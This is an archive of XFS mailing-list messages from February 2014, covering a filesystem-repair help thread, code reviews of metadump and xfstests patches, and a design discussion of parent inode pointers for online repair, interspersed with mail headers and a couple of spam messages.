> I'm registered problem also in XFS bugzilla: > http://oss.sgi.com/bugzilla/show_bug.cgi?id=1045 > > Good evening, Dave. > > I?m installed xfsprogs version 3.1.11 and try to repair filesystem on the > raid disk. But command xfs_repair -P /dev/sdb1 hanged. > Then I decided to reboot with old kernel version 3.7.10 (I have several > versions of kernel). After reboot the system, I ran the command again. > Command executed successfully in the old kernel 3.7.10. Output of the > commands attached to the letter after the text. So you changed the kernel and xfs_repair completed? That sounds like there might be a problem with the storage drivers for your hardware on the kernel that repair is hanging on. can you run an strace to find what syscall xfs_repair is hanging on? > From the description of the commands output clear that there is a loss of > log file data. Now I need to restore the file system with a minimum of data > loss. Is it possible? What command set correctly for that use? > > PS: output of programs and system info in the bottom of signature. > > > > ? > Sincerely, Dmitry. > > > uname -a > Linux devastator 3.7.10-gentoo #2 SMP Wed Mar 27 13:28:00 MSK 2013 x86_64 > Intel(R) Xeon(TM) CPU 3.00GHz GenuineIntel GNU/Linux > > > xfs_repair -P /dev/sdb1 > Phase 1 - find and verify superblock... > Phase 2 - using internal log > - zero log... > ERROR: The filesystem has valuable metadata changes in a log which needs to > be replayed. Mount the filesystem to replay the log, and unmount it before > re-running xfs_repair. If you are unable to mount the filesystem, then use > the -L option to destroy the log and attempt a repair. > Note that destroying the log may cause corruption -- please attempt a mount > of the filesystem before doing this. YOu're in the catch-22 state here - the log contains a corruption, so it can't be replayed. hence you are going to have to zero the log at some point to repair the problem. > xfs_repair -n /dev/sdb1 > Phase 1 - find and verify superblock... > Phase 2 - using internal log > - scan filesystem freespace and inode maps... > block (3,1498933-1498933) multiply claimed by cnt space tree, state - 2 > agf_freeblks 259940761, counted 259940776 in ag 3 > agf_freeblks 255012362, counted 255012365 in ag 4 > agf_freeblks 260627255, counted 260627372 in ag 5 > agf_freeblks 255168644, counted 255168626 in ag 2 > agf_freeblks 207044983, counted 207044984 in ag 6 > agf_freeblks 243646150, counted 243646100 in ag 1 > block (0,9288775-9288775) multiply claimed by cnt space tree, state - 2 > block (0,9292880-9292880) multiply claimed by cnt space tree, state - 2 > block (0,9311746-9311746) multiply claimed by cnt space tree, state - 2 > block (0,9313774-9313774) multiply claimed by cnt space tree, state - 2 > block (0,4010552-4010552) multiply claimed by cnt space tree, state - 2 > block (0,7294010-7294010) multiply claimed by cnt space tree, state - 2 > block (0,6907114-6907114) multiply claimed by cnt space tree, state - 2 > block (0,4058360-4058360) multiply claimed by cnt space tree, state - 2 > block (0,3891784-3891784) multiply claimed by cnt space tree, state - 2 > block (0,9322824-9322824) multiply claimed by cnt space tree, state - 2 > agf_freeblks 228242757, counted 228242913 in ag 0 > sb_fdblocks 1709684933, counted 1709685157 So what this is telling us is that there are lots of block allocations and removals in the log that are being ignored. > - found root inode chunk > Phase 3 - for each AG... > - scan (but don't clear) agi unlinked lists... > - process known inodes and perform inode discovery... > - agno = 0 > data fork in ino 16762966 claims free block 16654424 > bad nblocks 256 for inode 16764668, would reset to 255 That's indicating that the inode has less blocks than it thinks. i.e. the allocation of the last block will be lost. > data fork in ino 16767882 claims free block 9317836 > data fork in ino 16767882 claims free block 9317837 These should be recovered just fine > bad nblocks 530 for inode 16767882, would reset to 545 > data fork in ino 16770934 claims free block 9309594 > data fork in ino 16770934 claims free block 9309595 > bad nblocks 2396 for inode 16772596, would reset to 2395 > data fork in ino 16775619 claims free block 9319785 > data fork in ino 16775619 claims free block 9319786 > bad nblocks 6284 for inode 16775619, would reset to 6291 And that's the opposite - a truncate will be lost. Whether the truncated space still contains good data, I can't say. > bad nblocks 103 for inode 16780498, would reset to 102 > bad nextents 27 for inode 16780498, would reset to 26 > data fork in ino 16781959 claims free block 7295214 > data fork in ino 16781959 claims free block 7295215 > bad nblocks 76 for inode 16781959, would reset to 81 > bad key in bmbt root (is 1856, would reset to 1844) in inode 16782070 data > fork That's an error in an block map btree block which means it may be pointing to bad data now. ..... > bad magic # 0x20313030 in inode 16927721 (data fork) bmbt block 9305534 > bad data fork in inode 16927721 > would have cleared inode 16927721 That's an inode whose block map is corrupt and cannot be recovered at all, so the data is lost here. ..... > entry "10.6.114.148" at block 297 offset 496 in directory inode 19125 > references free inode 16927721 > would clear inode number in entry at offset 496... That inode is considered free and would be reclaimed. > Phase 6 - check inode connectivity... > - traversing filesystem ... > entry "10.6.114.148" in directory inode 19125 points to free inode 16927721 > , would junk entry and that's cleaning up the directory entry. > > xfsprogs util?s works fine with kernel 3.7.10 (config kernel params list > below): > /usr/src/linux-3.7.10-gentoo/.config > CONFIG_XFS_FS=y > CONFIG_XFS_QUOTA=y > CONFIG_XFS_POSIX_ACL=y > CONFIG_XFS_RT=y > # CONFIG_XFS_DEBUG is not set > > xfsprogs util?s hangs in start with kernel 3.10.25 (config kernel params > list below): > /usr/src/linux-3.10.25-gentoo/.config > CONFIG_XFS_FS=y > CONFIG_XFS_QUOTA=y > CONFIG_XFS_POSIX_ACL=y > CONFIG_XFS_RT=y > CONFIG_XFS_DEBUG=y Any reason you are running CONFIG_XFS_DEBUG=y? You shoul dnot do that unless you are actively trying to debug a problem as it has impact on runtime performance, availability (i.e. it will panic on certain errors that can otherwise be handled) and it affects allocation algorithms in a way that causes accelerated aging of the filesystem.... > Output of log print command I?am upload in web-site: > xfs_logprint -d -C ./xfs_log.dump > http://yadi.sk/d/Jxv-ItRSGt8vN I'm not going to be able to do anything with that. Even if I could fine the corruption in the log from it, I'd just say "run xfs_repair and look at all the inodes that it fixed and determine what was lost from that"... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 3 16:19:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 89ABB7FA1 for ; Mon, 3 Feb 2014 16:19:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7411B8F804B for ; Mon, 3 Feb 2014 14:19:54 -0800 (PST) X-ASG-Debug-ID: 1391465992-04cbb00c28c91d0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Cy1mFIi5Jcv30fOy for ; Mon, 03 Feb 2014 14:19:52 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8JAC8V8FJ5LGaB/2dsb2JhbABZgwy5ToVSgQ4XdIIlAQEFJxMcIxAIAw4HAwklDwUlAyETiATNdxcWjnMHhDgEmCmSIoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Feb 2014 08:49:51 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WARrp-0008P7-8v; Tue, 04 Feb 2014 09:19:49 +1100 Date: Tue, 4 Feb 2014 09:19:49 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/5] metadump: separate single block objects from multiblock objects Message-ID: <20140203221949.GU13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/5] metadump: separate single block objects from multiblock objects References: <1390472635-17225-1-git-send-email-david@fromorbit.com> <1390472635-17225-4-git-send-email-david@fromorbit.com> <20140203150907.GB6335@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140203150907.GB6335@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391465992 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144802 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 03, 2014 at 07:09:07AM -0800, Christoph Hellwig wrote: > On Thu, Jan 23, 2014 at 09:23:53PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > When trying to dump objects, we have to treat multi-block objects > > differently to single block objects. Separate out the code paths for > > single block vs multi-block objects so we can add a separate path > > for multi-block objects. > > Looks good, but two minor style nitpicks below. > > Reviewed-by: Christoph Hellwig > > > static int > > +process_multi_fsb_objects( > > + xfs_dfiloff_t o, > > + xfs_dfsbno_t s, > > + xfs_dfilblks_t c, > > + typnm_t btype, > > + xfs_dfiloff_t last) > > +{ > > + if (btype != TYP_DIR2) { > > + print_warning("bad type for multi-fsb object %d", btype); > > + return -EINVAL; > > + } > > + > > + return process_single_fsb_objects(o, s, c, btype, last); > > I'd prefer a switch with a default statement for the unknown type here, > as that leads to nicer extensibility. Ok, I'll fix that up. > > + /* single filesystem block objects are trivial to handle */ > > + if (btype != TYP_DIR2 || mp->m_dirblkfsbs == 1) { > > + error = process_single_fsb_objects(o, s, c, btype, last); > > + if (error) > > return 0; > > + continue; > > } > > + > > + /* multi-extent directory blocks */ > > + error = process_multi_fsb_objects(o, s, c, btype, last); > > + if (error) > > + return 0; > > An if / else would look a little more obvious here, not that it really > matters all that much. Easy enough to do. Thanks for the reviews, Christoph. Cheers, Dave. -- Dave Chinner david@fromorbit.com From customer_servicess@post.com Mon Feb 3 16:28:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 359217FE6 for ; Mon, 3 Feb 2014 16:28:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 232D38F8040 for ; Mon, 3 Feb 2014 14:27:58 -0800 (PST) X-ASG-Debug-ID: 1391466472-04bdf0121fdc720001-w1Z2WR Received: from ironport1.netmyne.com (mx1.netmyne.com [203.106.249.218]) by cuda.sgi.com with ESMTP id WoEmwzuDf8LtT1Kv for ; Mon, 03 Feb 2014 14:27:53 -0800 (PST) X-Barracuda-Envelope-From: customer_servicess@post.com X-Barracuda-Apparent-Source-IP: 203.106.249.218 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuS0AAIX8FLLavnvXmdsb2JhbAABWIFyBoIEB6gqgn9sAZM4Ay4GPYIKASwgYztAAQ4BAQMlCBGHXwEBAhAFAZk7g1UBARuHC4QthDWWUBYNBAoZGYk+jjAIAQFshCIEiUeWNolpgiSBdoFp X-SuspectedSpam: TRUE Received: from outbound.tmnet.com.my (HELO mail02r01.tmnet.net) ([203.106.249.239]) by ironport1.netmyne.com with ESMTP; 04 Feb 2014 06:25:11 +0800 Received: from sh02r01.tmnet.net ([203.106.249.246]) by mail02r01.tmnet.net with Microsoft SMTPSVC(6.0.3790.1830); Tue, 4 Feb 2014 06:28:14 +0800 Received: from Space2Let ([84.64.15.86] RDNS failed) by sh02r01.tmnet.net with Microsoft SMTPSVC(6.0.3790.1830); Tue, 4 Feb 2014 06:28:14 +0800 Message-ID: <02bdbbb4-41674-bbf41630239699@space2let> Reply-To: "Travel & Hotel Features" From: "Travel & Hotel Features" To: linux-xfs@oss.sgi.com Subject: Whats App msg for linux-xfs@oss.sgi.com Date: Tue, 4 Feb 2014 03:53:45 +0530 X-ASG-Orig-Subj: Whats App msg for linux-xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Priority: 3 X-OriginalArrivalTime: 03 Feb 2014 22:28:15.0127 (UTC) FILETIME=[3AD54A70:01CF212F] X-Barracuda-Connect: mx1.netmyne.com[203.106.249.218] X-Barracuda-Start-Time: 1391466473 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144802 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) test mail for if you get this mail in the inbox pls sms Your Name to 8460578357 Thanks Test mail team customer_servicess@post.com pls ignore if you have already responded to this mail earlier From david@fromorbit.com Mon Feb 3 17:19:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9270E8005 for ; Mon, 3 Feb 2014 17:19:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 68A0F8F8037 for ; Mon, 3 Feb 2014 15:19:34 -0800 (PST) X-ASG-Debug-ID: 1391469569-04bdf0121dddba0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id MyqKyEl8AvkxZHyB for ; Mon, 03 Feb 2014 15:19:29 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtsIAHgj8FJ5LGaB/2dsb2JhbABZgwyDPrYRhVKBDBd0giUBAQUnExwjEAgDDgcDCSUPBSUDIROIBM4fFxaOcgeEOASYKZIig0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Feb 2014 09:47:42 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WASll-000054-EC; Tue, 04 Feb 2014 10:17:37 +1100 Date: Tue, 4 Feb 2014 10:17:37 +1100 From: Dave Chinner To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH RESEND 5/10] xfstest: shared/001: Standard collapse range tests Message-ID: <20140203231737.GV13997@dastard> X-ASG-Orig-Subj: Re: [PATCH RESEND 5/10] xfstest: shared/001: Standard collapse range tests References: <1391319958-3275-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391319958-3275-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391469569 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144803 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 02, 2014 at 02:45:58PM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > This testcase(001) tries to test various corner cases > for fcollapse range functionality over different type of extents. > > Signed-off-by: Namjae Jeon > Signed-off-by: Ashish Sangwan Couple of things: > -c "$map_cmd -v" $testfile | $filter_cmd > [ $? -ne 0 ] && die_now > _md5_checksum $testfile > @@ -415,10 +425,10 @@ _test_generic_punch() > if [ "$remove_testfile" ]; then > rm -f $testfile > fi > - $XFS_IO_PROG -f -c "truncate 20k" \ > - -c "$alloc_cmd 0 8k" \ > - -c "pwrite 8k 8k" $sync_cmd \ > - -c "$zero_cmd 4k 8k" \ > + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ > + -c "$alloc_cmd 0 $(($multiple * 8))k" \ > + -c "pwrite $(($multiple * 8))k $(($multiple * 8))k" $sync_cmd \ > + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ > -c "$map_cmd -v" $testfile | $filter_cmd This is unreadable, and therefore I'd consider that these changes render _test_generic_punch unmaintainable. Either it needs tobe factored to be more readable, or we need a more readable way of representing the offsets and sizes if we want them to be variable. For example: _4k="$((multiple * 4))k" _8k="$((multiple * 8))k" _20k="$((multiple * 20))k" leads to: $XFS_IO_PROG -f -c "truncate $_20k" \ -c "$alloc_cmd 0 $_8k" \ -c "pwrite $_8k $_8k" $sync_cmd \ -c "$zero_cmd $_4k $_8k" \ -c "$map_cmd -v" $testfile | $filter_cmd which is still readable and allows us to arbitrarily scale the parameters. It even allows us to handle different filesystem block sizes if we really want to.... > -c "$map_cmd -v" $testfile | $filter_cmd > [ $? -ne 0 ] && die_now > _md5_checksum $testfile > > + # If zero_cmd is fcollpase, don't check unaligned offsets > + if [ "$zero_cmd" == "fcollapse" ]; then > + if [ "$remove_testfile" ]; then > + rm -f $testfile > + rm -f $testfile.2 > + fi > + return > + fi No need to remove the test files here - we remove them at test startup to ensure we have a known initial state.... > +0: [0..63]: extent > +bb7df04e1b0a2570657527a7e108ae23 > + 13. data -> unwritten -> data > +0: [0..63]: extent > +0f0151cbed83e4bf6e5bde26e82ab115 > + 14. data -> hole @ EOF > +fallocate: Invalid argument > +0: [0..159]: extent This error appears in all the golden outputs. If it's correct, then perhaps it should be filtered out or commented somewhere to explain why it is expected. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 3 17:42:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6A6277FA1 for ; Mon, 3 Feb 2014 17:42:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5B0F58F8037 for ; Mon, 3 Feb 2014 15:42:24 -0800 (PST) X-ASG-Debug-ID: 1391470938-04cb6c6de2d0750001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id S7EYFzpMHGYvChQo for ; Mon, 03 Feb 2014 15:42:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtsIAF4o8FJ5LGaB/2dsb2JhbABZgwyDPrYRhVKBDBd0giUBAQU6DQ8jEAgDFQMJJQ8FJQMhE4gEsGWdPxcWjnIHhDgEmCmSIoFvgVIo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Feb 2014 10:12:15 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WAT9Y-00009Y-5J; Tue, 04 Feb 2014 10:42:12 +1100 Date: Tue, 4 Feb 2014 10:42:12 +1100 From: Dave Chinner To: Wang Shilong Cc: xfs@oss.sgi.com, jbacik@fb.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] Btrfs: add regression test for running snapshot and send concurrently Message-ID: <20140203234212.GW13997@dastard> X-ASG-Orig-Subj: Re: [PATCH] Btrfs: add regression test for running snapshot and send concurrently References: <1391440956-31924-1-git-send-email-wangshilong1991@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391440956-31924-1-git-send-email-wangshilong1991@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391470938 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144803 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 03, 2014 at 11:22:36PM +0800, Wang Shilong wrote: > From: Wang Shilong > > Btrfs would fail to send if snapshot run concurrently, this test is to make > sure we have fixed the bug. > Couple of comments below. > +_scratch_mkfs > /dev/null 2>&1 > +_scratch_mount > + > + > +touch $SCRATCH_MNT/foo > + > +# get file with fragments by using backwards writes. > +for i in `seq 10240 -1 1`; do > + $XFS_IO_PROG -f -d -c "pwrite $(($i * 4096)) 4096" \ > + $SCRATCH_MNT/foo > /dev/null | _filter_xfs_io Indentation. > +done > + > +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ > + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 > + > +$BTRFS_UTIL_PROG send -f $SCRATCH_MNT/send_file \ > + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 & > + > +pid=$! > + > +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT/snap_1 \ > + $SCRATCH_MNT/snap_2 >> $seqres.full 2>&1 > + > +wait $pid || echo "Failed to send, see dmesg" This seems kind of racy. It assumes that the send command doesn't complete before the wait $pid call is made. If $pid doesn't exist at this time because it has completed, wait will return 127 and the test will fail.... Also, why would a failure to send result in meaingful information in dmesg? Shouldn't the userspace command output information to tell you why there was a failure into $seqres.full? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 3 18:09:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7C1DC7F52 for ; Mon, 3 Feb 2014 18:09:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1C56FAC001 for ; Mon, 3 Feb 2014 16:09:50 -0800 (PST) X-ASG-Debug-ID: 1391472588-04bdf0121fdee80001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 6SfEvDH1LjARPEU4 for ; Mon, 03 Feb 2014 16:09:48 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AiAUAF8v8FJ5LGaB/2dsb2JhbAA/EAqDDDiDBqYBA5ANhVKBDBd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gEDjbNfRaOFlwHhDgEmCmSIoNBKIEuJA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Feb 2014 10:39:47 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WATaC-0000Cz-QD; Tue, 04 Feb 2014 11:09:44 +1100 Date: Tue, 4 Feb 2014 11:09:44 +1100 From: Dave Chinner To: Geoffrey Wehrman Cc: Mark Tinguely , xfs@oss.sgi.com Subject: Re: [RFC 00/17] RFC parent inode pointers. Message-ID: <20140204000944.GX13997@dastard> X-ASG-Orig-Subj: Re: [RFC 00/17] RFC parent inode pointers. References: <20140115220012.624438534@sgi.com> <20140116055607.GR3431@dastard> <52D99FD2.6000601@sgi.com> <20140118031247.GE18112@dastard> <52E6B67B.6070001@sgi.com> <20140128030040.GG2212@dastard> <20140128220230.GF13953@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140128220230.GF13953@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391472588 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144805 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Tue, Jan 28, 2014 at 04:02:30PM -0600, Geoffrey Wehrman wrote: > On Tue, Jan 28, 2014 at 02:00:40PM +1100, Dave Chinner wrote: > | On Mon, Jan 27, 2014 at 01:41:47PM -0600, Mark Tinguely wrote: > | > 2) Add the filename to EA. Not a fan, but I will ask but if DMF needs it > | > for performance then it has to be done. My point was this assumes > | > that we can keep all the links' EA entries inline in the inode. A > | > couple 255 character files or several links of modest sized filenames > | > would negate that assumption. I tried to minimize the EA entries to > | > keep them inline in the inode. I will talk to the DMF group. > | > | Actually, I made the point about DMF needing them inline performance > | because that's an argument SGI might find persuasive. What I didn't > | say just then is that *I* need them inline, too, as online directory > | tree scrubbing needs to be able to do bulks scans, as does > | xfs_repair. However, I have idefinitely said this before in previous > | parent poitner discussions, so it should be no surprise here... > > I appologize in advance for my ignorance. What is "online directory > tree scrubbing" and how does it benefit from parent inode pointers? It will be a kernel thread that walks the directory tree periodically verifying that all inodes are reachable and that the directory tree is intact. It's the same principle as RAID array media scrubbing - proactive detection of errors that could cause failures and repairing them before an error is delivered to the application. The reason for wanting parent pointers is that it enables immediate repair of most corruptions as the scrubbing detects them without requiring duplicate copies of the metadata. IOWs, parent pointers are a fundamental part of bringing on-line repair functionality to XFS. While parent pointers are not directly mentioned in this document: http://xfs.org/index.php/Reliable_Detection_and_Repair_of_Metadata_Corruption There is a section on reverse mapping for used blocks and how to use that for online repair of detected damage. Parent pointers provide reverse mappings for the directory structure, and hence provide the same functionality. Parent pointers also means that if we get an IO error in a block in a file, we can identify the owner of the block by full path and offset into the file where the error has occurred... The v5 metadata format has an owner field in all metadata that has a single parent object for keeping such parent information, and it is intended for improving scrub-based validation and for identifying the owner of lost metadata blocks to improve recover from errors. i.e. reverse mapping is a one of the fundamental architectural requirements underlying the v5 metadata changes. The two missing pieces are the parent pointers for directory structure reverse mapping, and an AGF reverse mapping btree to enable arbitrary block->owner lookups. I have prototype code for the AGF rmap btree, and the parent pointers provide that functionality for the directory structure. With both of these implemented, we will be able to do fully-online filesystem metadata validity checking equivalent to 'xfs_repair -n' or better..... Reverse block mapping and directory structure parent pointers have been considered necessary for robust exception handling and online repair since we first started thinking about the CRC metadata format changes.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From farida@yahoo.com Mon Feb 3 18:39:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=FORGED_YAHOO_RCVD, FREEMAIL_FROM,FREEMAIL_REPLYTO autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 07A4E7F55 for ; Mon, 3 Feb 2014 18:39:26 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D423A304071 for ; Mon, 3 Feb 2014 16:39:25 -0800 (PST) X-ASG-Debug-ID: 1391474361-04cbb00c29ccd30001-w1Z2WR Received: from mail.rackspace.com ([23.97.71.3]) by cuda.sgi.com with ESMTP id 8ZoncYWZCVfktBIc for ; Mon, 03 Feb 2014 16:39:22 -0800 (PST) X-Barracuda-Envelope-From: farida@yahoo.com 